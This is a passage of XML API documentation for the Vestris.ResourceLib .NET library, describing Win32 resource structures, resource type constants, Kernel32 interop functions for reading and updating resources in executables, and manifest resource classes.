<param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor\">\n            <summary>\n            A new icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Convert into an icon resource that can be written into an executable.\n            </summary>\n            <param name=\"icon\">Icon image.</param>\n            <param name=\"id\">Icon Id.</param>\n            <param name=\"language\">Resource language.</param>\n            <returns>An icon resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32\">\n            <summary>\n            Kernel32.dll interop functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER\">\n            <summary>\n            A resource header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wLength\">\n            <summary>\n            Header length.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wValueLength\">\n            <summary>\n            Data length.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wType\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.#ctor(System.UInt16)\">\n            <summary>\n            A new resource header of a given length.\n            </summary>\n            <param name=\"valueLength\"></param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE\">\n            <summary>\n            Resource header type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE.BinaryData\">\n            <summary>\n            Binary data.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE.StringData\">\n            <summary>\n            String data.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.VAR_HEADER\">\n            <summary>\n            Language and code page combinations.\n            The low-order word of each DWORD must contain a Microsoft language identifier, \n            and the high-order word must contain the IBM code page number. \n            Either high-order or low-order word can be zero, indicating that the file is language \n            or code page independent.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VAR_HEADER.wLanguageIDMS\">\n            <summary>\n            Microsoft language identifier.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VAR_HEADER.wCodePageIBM\">\n            <summary>\n            IBM code page number.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO\">\n            <summary>\n            This structure contains version information about a file. \n            This information is language- and code page–independent.\n            http://msdn.microsoft.com/en-us/library/ms647001.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwSignature\">\n            <summary>\n            Contains the value 0xFEEF04BD. This is used with the szKey member of the VS_VERSIONINFO structure when searching a file for the VS_FIXEDFILEINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwStrucVersion\">\n            <summary>\n            Specifies the binary version number of this structure. The high-order word of this member contains the major version number, and the low-order word contains the minor version number.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileVersionMS\">\n            <summary>\n            Specifies the most significant 32 bits of the file's binary version number. This member is used with dwFileVersionLS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileVersionLS\">\n            <summary>\n            Specifies the least significant 32 bits of the file's binary version number. This member is used with dwFileVersionMS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwProductVersionMS\">\n            <summary>\n            Specifies the most significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionLS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwProductVersionLS\">\n            <summary>\n            Specifies the least significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionMS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileFlagsMask\">\n            <summary>\n            Contains a bitmask that specifies the valid bits in dwFileFlags. A bit is valid only if it was defined when the file was created. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileFlags\">\n            <summary>\n            Contains a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileOS\">\n            <summary>\n            Specifies the operating system for which this file was designed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileType\">\n            <summary>\n            Specifies the general type of file. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileSubtype\">\n            <summary>\n            Specifies the function of the file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileDateMS\">\n            <summary>\n            Specifies the most significant 32 bits of the file's 64-bit binary creation date and time stamp.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileDateLS\">\n            <summary>\n            Specifies the least significant 32 bits of the file's 64-bit binary creation date and time stamp.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.GetWindowsDefault\">\n            <summary>\n            Creates a default Windows VS_FIXEDFILEINFO structure.\n            </summary>\n            <returns>A default Windows VS_FIXEDFILEINFO.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.GRPICONDIR\">\n            <summary>\n            A hardware-independent icon directory resource header.\n            http://msdn.microsoft.com/en-us/library/ms997538.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wReserved\">\n            <summary>\n            Reserved, must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wType\">\n            <summary>\n            Resource type, 1 for icons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wImageCount\">\n            <summary>\n            Number of images.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY\">\n            <summary>\n            Hardware-independent icon directory entry.\n            See http://msdn.microsoft.com/en-us/library/ms997538.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bWidth\">\n            <summary>\n            Width of the image. Starting with Windows 95 a value of 0 represents width of 256.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bHeight\">\n            <summary>\n            Height of the image. Starting with Windows 95 a value of 0 represents height of 256.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bColors\">\n            <summary>\n            Number of colors in the image. \n            bColors = 1 &lt;&lt; (wBitsPerPixel * wPlanes)\n            If wBitsPerPixel* wPlanes is greater orequal to 8, then bColors = 0.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.wPlanes\">\n            <summary>\n            Number of bitmap planes.\n            1: monochrome bitmap\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.wBitsPerPixel\">\n            <summary>\n            Bits per pixel.\n            1: monochrome bitmap\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.dwImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.nID\">\n            <summary>\n            Icon ID.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY\">\n            <summary>\n            Hardware-independent icon directory entry in an .ico file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bWidth\">\n            <summary>\n            Icon width.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bHeight\">\n            <summary>\n            Icon height.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bColors\">\n            <summary>\n            Colors; 0 means 256 or more.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.wPlanes\">\n            <summary>\n            Number of bitmap planes for icons.\n            Horizontal hotspot for cursors.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.wBitsPerPixel\">\n            <summary>\n            Bits per pixel for icons.\n            Vertical hostpot for cursors.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.dwImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.dwFileOffset\">\n            <summary>\n            Offset of bitmap data from the beginning of the file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR\">\n            <summary>\n            Hardware-independent icon structure in an .ico file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wReserved\">\n            <summary>\n            Reserved, must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wType\">\n            <summary>\n            Resource Type (1 for icons).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wCount\">\n            <summary>\n            Number of images.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_LIBRARY_AS_DATAFILE\">\n            <summary>\n            If this value is used, the system maps the file into the calling process's virtual address space as if it were a data file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.DONT_RESOLVE_DLL_REFERENCES\">\n            <summary>\n            If this value is used, and the executable module is a DLL, the system does not call DllMain for process and thread initialization and termination.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_WITH_ALTERED_SEARCH_PATH\">\n            <summary>\n            If this value is used and lpFileName specifies an absolute path, the system uses the alternate file search strategy.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_IGNORE_CODE_AUTHZ_LEVEL\">\n            <summary>\n            If this value is used, the system does not perform automatic trust comparisons on the DLL or its dependents when they are loaded.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LoadLibraryEx(System.String,System.IntPtr,System.UInt32)\">\n            <summary>\n            Loads the specified module into the address space of the calling process. \n            The specified module may cause other modules to be loaded.\n            </summary>\n            <param name=\"lpFileName\">The name of the module.</param>\n            <param name=\"hFile\">This parameter is reserved for future use.</param>\n            <param name=\"dwFlags\">The action to be taken when loading the module.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.FreeLibrary(System.IntPtr)\">\n            <summary>\n            Frees the loaded dynamic-link library (DLL) module and, if necessary, decrements its reference count.\n            </summary>\n            <param name=\"hModule\">A handle to the loaded library module.</param>\n            <returns>If the function succeeds, the return value is nonzero.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.ResourceTypes\">\n            <summary>\n            Predefined resource types.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_CURSOR\">\n            <summary>\n            Hardware-dependent cursor resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_BITMAP\">\n            <summary>\n            Bitmap resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ICON\">\n            <summary>\n            Hardware-dependent icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MENU\">\n            <summary>\n            Menu resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_DIALOG\">\n            <summary>\n            Dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_STRING\">\n            <summary>\n            String-table entry.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_FONTDIR\">\n            <summary>\n            Font directory resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_FONT\">\n            <summary>\n            Font resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ACCELERATOR\">\n            <summary>\n            Accelerator table.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_RCDATA\">\n            <summary>\n            Application-defined resource (raw data).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MESSAGETABLE\">\n            <summary>\n            Message-table entry.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_GROUP_CURSOR\">\n            <summary>\n            Hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_GROUP_ICON\">\n            <summary>\n            Hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_VERSION\">\n            <summary>\n            Version resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_DLGINCLUDE\">\n            <summary>\n            Allows a resource editing tool to associate a string with an .rc file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_PLUGPLAY\">\n            <summary>\n            Plug and Play resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_VXD\">\n            <summary>\n            VXD.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ANICURSOR\">\n            <summary>\n            Animated cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ANIICON\">\n            <summary>\n            Animated icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_HTML\">\n            <summary>\n            HTML.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MANIFEST\">\n            <summary>\n            Microsoft Windows XP: Side-by-Side Assembly XML Manifest.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceTypes(System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceTypesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates resource types within a binary module.\n            </summary>\n            <param name=\"hModule\">Handle to a module to search.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource type.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            <returns>Returns TRUE if successful; otherwise, FALSE.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceTypesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceTypes and EnumResourceTypesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources for which the types are to be enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource for which the type is being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceTypes or EnumResourceTypesEx function. </param>\n            <returns>Returns TRUE if successful; otherwise, FALSE.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceNames(System.IntPtr,System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceNamesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates resources of a specified type within a binary module. \n            </summary>\n            <param name=\"hModule\">Handle to a module to search.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of the resource for which the name is being enumerated.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource name or ID.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            <returns>Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceNamesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceNames and EnumResourceNamesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources that are being enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of resource that is being enumerated.</param>\n            <param name=\"lpszName\">Specifies the name of a resource of the type being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceNames or EnumResourceNamesEx function.</param>\n            <returns>Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceLanguages(System.IntPtr,System.IntPtr,System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceLanguagesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates language-specific resources, of the specified type and name, associated with a binary module.\n            </summary>\n            <param name=\"hModule\">The handle to a module to search.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of resource for which the language is being enumerated.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource language.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceLanguagesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceLanguages and EnumResourceLanguagesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources for which the languages are being enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource for which the language is being enumerated.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated.</param>\n            <param name=\"wIDLanguage\">Specifies the language identifier for the resource for which the language is being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceLanguages or EnumResourceLanguagesEx function.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.FindResourceEx(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16)\">\n            <summary>\n            Determines the location of the resource with the specified type, name, and language in the specified module.\n            </summary>\n            <param name=\"hModule\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource.</param>\n            <param name=\"wLanguage\">Specifies the language of the resource.</param>\n            <returns>If the function succeeds, the return value is a handle to the specified resource's information block.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LockResource(System.IntPtr)\">\n            <summary>\n            Locks the specified resource in memory.\n            </summary>\n            <param name=\"hResData\">Handle to the resource to be locked.</param>\n            <returns>If the loaded resource is locked, the return value is a pointer to the first byte of the resource; otherwise, it is NULL.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LoadResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Loads the specified resource into global memory.\n            </summary>\n            <param name=\"hModule\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"hResData\">Handle to the resource to be loaded.</param>\n            <returns>If the function succeeds, the return value is a handle to the data associated with the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.SizeofResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Returns the size, in bytes, of the specified resource. \n            </summary>\n            <param name=\"hInstance\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"hResInfo\">Handle to the resource. This handle must be created by using the FindResource or FindResourceEx function.</param>\n            <returns>If the function succeeds, the return value is the number of bytes in the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.CloseHandle(System.IntPtr)\">\n            <summary>\n            Closes an open object handle.\n            </summary>\n            <param name=\"hHandle\">A valid handle to an open object.</param>\n            <returns>If the function succeeds, the return value is nonzero.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.BeginUpdateResource(System.String,System.Boolean)\">\n            <summary>\n            Returns a handle to either a language-neutral portable executable file (LN file) or a \n            language-specific resource file (.mui file) that can be used by the UpdateResource function \n            to add, delete, or replace resources in a binary module.\n            </summary>\n            <param name=\"pFileName\">Pointer to a null-terminated string that specifies the binary file in which to update resources.</param>\n            <param name=\"bDeleteExistingResources\">Specifies whether to delete the pFileName parameter's existing resources.</param>\n            <returns>If the function succeeds, the return value is a handle that can be used by the UpdateResource and EndUpdateResource functions.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.UpdateResource(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16,System.Byte[],System.UInt32)\">\n            <summary>\n            Adds, deletes, or replaces a resource in a portable executable (PE) file. \n            There are some restrictions on resource updates in files that contain Resource Configuration (RC Config) data: \n            language-neutral (LN) files and language-specific resource (.mui) files.\n            </summary>\n            <param name=\"hUpdate\">A module handle returned by the BeginUpdateResource function, referencing the file to be updated.</param>\n            <param name=\"lpType\">Pointer to a null-terminated string specifying the resource type to be updated.</param>\n            <param name=\"lpName\">Pointer to a null-terminated string specifying the name of the resource to be updated.</param>\n            <param name=\"wLanguage\">Specifies the language identifier of the resource to be updated.</param>\n            <param name=\"lpData\">Pointer to the resource data to be inserted into the file indicated by hUpdate.</param>\n            <param name=\"cbData\">Specifies the size, in bytes, of the resource data at lpData.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EndUpdateResource(System.IntPtr,System.Boolean)\">\n            <summary>\n            Commits or discards changes made prior to a call to UpdateResource.\n            </summary>\n            <param name=\"hUpdate\">A module handle returned by the BeginUpdateResource function, and used by UpdateResource, referencing the file to be updated.</param>\n            <param name=\"fDiscard\">Specifies whether to write the resource updates to the file. If this parameter is TRUE, no changes are made. If it is FALSE, the changes are made: the resource updates will take effect.</param>\n            <returns>Returns TRUE if the function succeeds; FALSE otherwise.</returns>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LANG_NEUTRAL\">\n            <summary>\n            Neutral primary language ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LANG_ENGLISH\">\n            <summary>\n            US-English primary language ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.SUBLANG_NEUTRAL\">\n            <summary>\n            Neutral sublanguage ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.SUBLANG_ENGLISH_US\">\n            <summary>\n            US-English sublanguage ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.CREATEPROCESS_MANIFEST_RESOURCE_ID\">\n            <summary>\n            CREATEPROCESS_MANIFEST_RESOURCE_ID is used primarily for EXEs. If an executable has a resource of type RT_MANIFEST, \n            ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will create a process default activation context for the process. \n            The process default activation context will be used by all components running in the process. \n            CREATEPROCESS_MANIFEST_RESOURCE_ID can also used by DLLs. When Windows probe for dependencies, if the dll has \n            a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will use that manifest as the \n            dependency. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ISOLATIONAWARE_MANIFEST_RESOURCE_ID\">\n            <summary>\n            ISOLATIONAWARE_MANIFEST_RESOURCE_ID is used primarily for DLLs. It should be used if the dll wants private \n            dependencies other than the process default. For example, if an dll depends on comctl32.dll version 6.0.0.0. \n            It should have a resource of type RT_MANIFEST, ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID to depend on comctl32.dll \n            version 6.0.0.0, so that even if the process executable wants comctl32.dll version 5.1, the dll itself will still \n            use the right version of comctl32.dll. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID\">\n            <summary>\n            When ISOLATION_AWARE_ENABLED is defined, Windows re-defines certain APIs. For example LoadLibraryExW \n            is redefined to IsolationAwareLoadLibraryExW. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.ManifestType\">\n            <summary>\n            Resource manifest type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.CreateProcess\">\n            <summary>\n            CREATEPROCESS_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.IsolationAware\">\n            <summary>\n            ISOLATIONAWARE_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.IsolationAwareNonstaticImport\">\n            <summary>\n            ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.MoveMemory(System.IntPtr,System.IntPtr,System.UInt32)\">\n            <summary>\n            Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks.\n            </summary>\n            <param name=\"dest\">A pointer to the starting address of the copied block's destination.</param>\n            <param name=\"src\">A pointer to the starting address of the block of memory to copy.</param>\n            <param name=\"count\">The size of the block of memory to copy, in bytes.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.LoadException\">\n            <summary>\n            A resource load exception.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.LoadException.OuterException\">\n            <summary>\n            The Win32 exception from a resource enumeration function.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.LoadException.#ctor(System.String,System.Exception,System.Exception)\">\n            <summary>\n            A new resource load exception.\n            </summary>\n            <param name=\"message\">Error message.</param>\n            <param name=\"innerException\">The inner exception thrown within a single resource.</param>\n            <param name=\"outerException\">The outer exception from the Win32 API.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.LoadException.Message\">\n            <summary>\n            A combined message of the inner and outer exception.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ManifestResource\">\n            <summary>\n            An embedded SxS manifest.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ManifestResource.Manifest\">\n            <summary>\n            Embedded XML manifest.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ManifestResource.ManifestType\">\n            <summary>\n            Manifest type.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing embedded manifest resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor\">\n            <summary>\n            A new executable CreateProcess manifest.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor(Vestris.ResourceLib.Kernel32.ManifestType)\">\n            <summary>\n            A new executable manifest.\n            </summary>\n            <param name=\"manifestType\">Manifest type.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        